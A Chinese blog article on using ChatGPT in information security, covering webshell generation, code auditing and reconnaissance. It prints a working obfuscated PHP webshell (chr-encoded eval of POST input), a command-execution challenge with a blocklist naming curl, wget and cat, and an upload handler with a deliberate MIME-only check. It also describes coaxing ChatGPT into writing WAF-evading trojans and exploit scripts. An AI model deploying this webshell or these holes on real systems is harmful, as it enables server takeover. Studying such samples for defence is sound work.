ChatGPT在信息安全中的应用浅析

目录
  • 前言
  • 自身定位
  • 构造恶意代码
  • 漏洞源码分析
  • 信息收集
  • 结语

前言

ChatGPT是美国人工智能研究实验室OpenAI新推出的一种人工智能技术驱动自然语言处理工具,最近ChatGPT又出圈了,之前已经在技术社区火了一把现在传播到了大众面前,我不禁又对这个神奇的AI产生了一些思考,在之前我只是让其辅助写一些简单的逻辑程序,于是我想知道它是否也能在网络安全领域实现一些它的价值呢,本文就这个话题来探讨一下它在网络安全里面一些应用实践

自身定位

在实践之前,我想向ChatGPT问一下它自己对于这个问题的回答是什么,即让它自己对信息安全领域起的作用进行一些分析,结果还是挺让人惊讶的:

它回答的十分全面,里面有一些内容连我自己都没有想到,于是我对探讨它在信息安全领域的作用的兴趣进一步加深,下面我便对它进行了一些测试。

构造恶意代码

这里就先以最简单的一句话木马为例,我向它提问是否能构造一个对网站产生威胁的恶意语句,AI很轻松的便回答出来了:

看来简单的恶意语句还是对它来说还是很轻松的,于是我继续向它提问一些进阶的问题:我让它用字符编码的方式来构造恶意木马:

还是完整的写完了,根据其代码逻辑实际上也是可以利用的,到这我继续加深难度:

可能是我尝试次数比较少的原因,并没有达到我理想的条件,或许再多增加一些限制条件会达到更好的效果,但是不难看出随着AI的逐渐进化,以后我们对一些WAF或杀毒软件进行测试时,可以结合AI来对产品代码进行分析,让AI构造出可以绕过的木马。

在测试时我还尝试让AI分析带有危险函数的代码,对下面这段恶意代码:

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php

AI给出了比较正确的分析

这又给我们提供了一个思路,通过AI结合防火墙来达到动态分析恶意请求的想法,进而加强我们设备的安全性。

漏洞源码分析

尝试完上面的项目,我开始思考,能否结合AI来进行代码审计,众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全,如果AI和它碰撞会产生什么样的火花呢?下面看一个例子:

我用一个简单的代码让其分析一下:

分析代码:<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);

结果还是很方便理解的,给出了这段代码的作用以及过滤的所有字符,我们可以根据这些提示来进行渗透或者防护。

之后我让其分析一个简单的有文件上传漏洞的代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

经过了十几次的改善,给了我如下还算合理的回复:

虽然回答没啥毛病但这是经过十几次更新我筛选出来的,个人认为AI现在还达不到分析一些大量代码来给出一些合理的漏洞攻击思路,当然也可能是我提问的方式有问题,有时会出现答非所问的情况,不过我觉得随着技术更新这些小问题应该可以解决。

信息收集

在进行网站渗透时,不管是网站信息或是网站所用服务的信息都是非常重要的,这会考察一个渗透人员的信息收集能力,收集到的信息越多对我们的渗透帮助越大,于是我想试试AI能否协助我们进行这个操作。

我试着用AI查询某网站的旁站,很快便列出了许多:

当然这只是最基础的,我们通过工具也可以进行查询,但AI搜索速度还是远远大于工具的,这不妨是一个我们进行渗透测试时可以快速进行资产收集的好途径。说到这我们不妨进一步思考,作为帮助我们渗透的工具,若我已经收集到了网站所用框架以及版本,我想问问它如何渗透:

这里AI给出了我们一个可利用的CVE漏洞,那么我继续向其提问具体利用方式:

就很有意思了,它真的给我们提供了一个脚本,先不提这个脚本,我觉得在渗透中有个AI能够随时帮助我们收集信息和脚本这能大大加快我们的渗透过程,我希望未来能发展成这样的趋势。让渗透人员少一些不必要的操作从而加大效率。

结语

目前ChatGPT为了防止恶意用户的应用,限制了对于主动构造攻击脚本的一些请求,这使得其不能展现更多的在信息安全领域的价值,本文结合我在之前收集的一些资料,简单分析了一下ChatGPT在网络安全领域的一些可能性,其中包含了一些已经实现和希望未来可以实现的一些想法,无论是AI构造代码或者进行全自动白盒分析,这都会对我们网络安全领域产生一些深远的影响,我希望这些想法可以在不远的未来实现。

以上就是ChatGPT在信息安全中的应用浅析的详细内容,更多关于ChatGPT信息安全应用的资料请关注我们其它相关文章!

(0)

相关推荐

  • chatgpt java环境调用源码实现demo

    目录 chatgpt java环境调用源码 1.启动环境 2.创建工程 3.编译工程 4.引入依赖 5.调用接口 扩展:Java实现调用ChatGPT 1.导入依赖 2.demo 3.测试 4.总结: chatgpt java环境调用源码 1.启动环境 开发工具: jdk1.8 maven3.5.0 命令行工具: curl php 2.创建工程 mvn archetype:generate -DgroupId=com.example.gpt -DartifactId=gpt-demo 3.编译工

  • 让chatgpt将html中的图片转为base64方法示例

    目录 前言 思路 实现过程 递归读取指定目录下的所有 html 文件路径 htmlPaths 获取每个 html 里面的图片 src 获取 html 字符串的所有图片 src 忽略注释的代码 本身是 base64,则忽略 忽略 Thymeleaf 语法 结合起来,封装成一个函数 src 转 base64 最后将新的 html 替换旧的 html 性能优化 总的代码 总结 前言 故事要从我们公司的新官网说起,新官网是叫外包做的,前后端没有分离,对,你没听错,都到了 2023 年的今天,新项目依然是

  • ChatGPT教你用Python实现BinarySearchTree详解

    目录 前言 ChatGPT 截图 对 ChatGPT 的一些感悟 1.ChatGPT 成为下一代搜索引擎,毋庸置疑 2.上下文关联能力强 3.未来的可能性 前言 至今,ChatGPT 已经火了很多轮,我在第一轮的时候注册了账号,遗憾的是,没有彻头彻尾好好地体验过一次.最近这一次火爆,ChatGPT 确实出圈了,各行各业的人们都在晒,趁着周末,我也小试了一把. 这篇文会介绍我使用 ChatGPT 的过程以及使用时的一些感悟,最后浅谈下我对 ChatGPT 的一些理解,不喜勿喷哈~ 我的问题是:我是

  • 在QQ群中接入ChatGPT机器人的操作方法

    目录 环境介绍 所需工具 前期准备 引入yunzai-bot 最近ChatGPT很火,但是每次要在浏览器上输入显得很麻烦.那么能不能在我们日常使用的软件中接入它让我们能方便的使用它呢?下面为你介绍如何在QQ群中接入chatgpt. 环境介绍 今天我们的分享主要围绕着大部分用户Windows电脑.基于nodejs. 所需工具 nodejs(版本>18) pnpm yunzai-bot(q群机器人) git openai的apikey redis(本地环境建议使用php_study等集成的redis

  • chatgpt国内镜像 pycharm idea插件使用详解

    ChatGPT(全名:Chat Generative Pre-trained Transformer),美国OpenAI 研发的聊天机器人程序,于2022年11月30日发布   .ChatGPT是人工智能技术驱动的自然语言处理工具,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,真正像人类一样来聊天交流,甚至能完成撰写邮件.视频脚本.文案.翻译.代码,写论文等任务. 本文重点介绍chatgpt国内镜像 pycharm idea插件,一起看看吧! 这里是引用python可以

  • ChatGPT在信息安全中的应用浅析

    目录 前言 自身定位 构造恶意代码 漏洞源码分析 信息收集 结语 前言 ChatGPT是美国人工智能研究实验室OpenAI新推出的一种人工智能技术驱动的自然语言处理工具,最近ChatGPT又出圈了,之前已经在技术社区火了一把现在传播到了大众面前,我不禁又对这个神奇的AI产生了一些思考,在之前我只是让其辅助写一些简单的逻辑程序,于是我想知道它是否也能在网络安全领域实现一些它的价值呢,本文就这个话题来探讨一下它在网络安全里面一些应用和实践. 自身定位 在实践之前,我想向ChatGPT问一下它自己对于

  • JavaScript中闭包之浅析解读(必看篇)

    JavaScript中的闭包真心是一个老生常谈的问题了,最近面试也是一直问到,我自己的表述能力又不能完全支撑起来,真是抓狂.在回来的路上,我突然想到了一个很简单的事情,其实我们在做项目时候,其实就经常用到闭包的,可是面试问的时候,回答又往往是我们经常搜到的答案,唉 不管是应付面试 还是真的想学点东西 ,我也用自己的理解跟大家分享一下,书面化就避免不了了的. 1.闭包是什么? 红宝书中曰:"是指有权访问另外一个函数作用域中的变量的函数." 简单的说,JavaScript允许使用内部函数-

  • Mybatis 中的<![CDATA[ ]]>浅析

    在使用mybatis 时我们sql是写在xml 映射文件中,如果写的sql中有一些特殊的字符的话,在解析xml文件的时候会被转义,但我们不希望他被转义,所以我们要使用<![CDATA[ ]]>来解决. <![CDATA[   ]]> 是什么,这是XML语法.在CDATA内部的所有内容都会被解析器忽略. 如果文本包含了很多的"<"字符 <=和"&"字符--就象程序代码一样,那么最好把他们都放到CDATA部件中. 但是有个问题

  • python中pickle模块浅析

    本章为大家介绍的模块,在python2的时候,并不受宠,主要的问题是存在安全漏洞,发现问题就要及时解决,因此在现在3版本中,已经得到了妥善的修复.pickle模块是序列化模块,主要应用的是在元组和列表中,当元组和列表很接近,元组相当于加了const定义的列表,但是Python中没有const关键字,带入这些观点,来了解以下内容. 模块安装: 无需手动安装,因为是python中的标准模块. 模块函数: pickle.load() 参数:文件名 作用:将文件内容反序列化输出. 模块使用: impor

  • java类成员中的访问级别浅析

    我们知道想要访问一个网站,根据身份的不同,会有一些使用上的限制,这就是权限级别的体现.在java的类成员中,有一些访问的级别是需要我们了解的,主要分为四种:public.private.protected.package.下面我们就这四种访问修饰符分别进行详细的介绍. 一.四种访问修饰符 1.public修饰符用于暴露域和方法,以便在类定义的包外部能访问它们.对包和类中必要的接口元素,也需要使用这个级别:main()方法必须是public的,toString()方法也必须是public的.一般不

  • R语言中时间序列分析浅析

    时间序列是将统一统计值按照时间发生的先后顺序来进行排列,时间序列分析的主要目的是根据已有数据对未来进行预测. 一个稳定的时间序列中常常包含两个部分,那么就是:有规律的时间序列+噪声.所以,在以下的方法中,主要的目的就是去过滤噪声值,让我们的时间序列更加的有分析意义. 语法 时间序列分析中ts()函数的基本语法是 timeseries.object.name <- ts(data, start, end, frequency) 以下是所使用的参数的描述 data是包含在时间序列中使用的值的向量或矩

  • ChatGPT在IDEA中使用的详细过程

    目录 安装 1.Settings 2. Plugins>MarketPlace 3.搜索chatgpt并安装(本人已安装) 配置 URL 设置 默认 官方源 自定义 Cloudflare 网络连接设置 读取超时 链接超时 使用 安装 下载最新版 并且手动安装: Settings/Preferences > Plugins > Marketplace > Install plugin from disk... 1.Settings 2. Plugins>MarketPlace

  • Lua中的table浅析

    Lua的table提供了Map的功能,实现了"关联数组",并且整数.字符串甚至nil都可以作为索引/key:table没有固定的大小.   基于table,可以表示普通数组.符号表.集合.记录.队列和其他数据结构.   而Lua也是通过table来解决模块(module).包(package)和对象(Object)的. 例如io.read表示使用"read"来索引table io.   在Lua中,table既不是值也不是"变量",而是对象,可以

  • ASP.Net中命名空间Namespace浅析和使用例子

    关于Namespace(命名空间)的使用,我常用 复制代码 代码如下: < % @ Import Namespace="System.Data" %> ,这是在引用为我们提供的Namespace,这和ASP不同的,我们在ASP.net必须先引用与我们操作有关的Namespace后才能使用相应的功能.其实说白了,一个Namespace; 就是一个组件. 这个是关于ASP.net的高级应用. 我下面简单的列举一些常用的Namespace 复制代码 代码如下: < % @

  • Python中的yield浅析

    在介绍yield前有必要先说明下Python中的迭代器(iterator)和生成器(constructor). 一.迭代器(iterator) 在Python中,for循环可以用于Python中的任何类型,包括列表.元祖等等,实际上,for循环可用于任何"可迭代对象",这其实就是迭代器 迭代器是一个实现了迭代器协议的对象,Python中的迭代器协议就是有next方法的对象会前进到下一结果,而在一系列结果的末尾是,则会引发StopIteration.任何这类的对象在Python中都可以用

随机推荐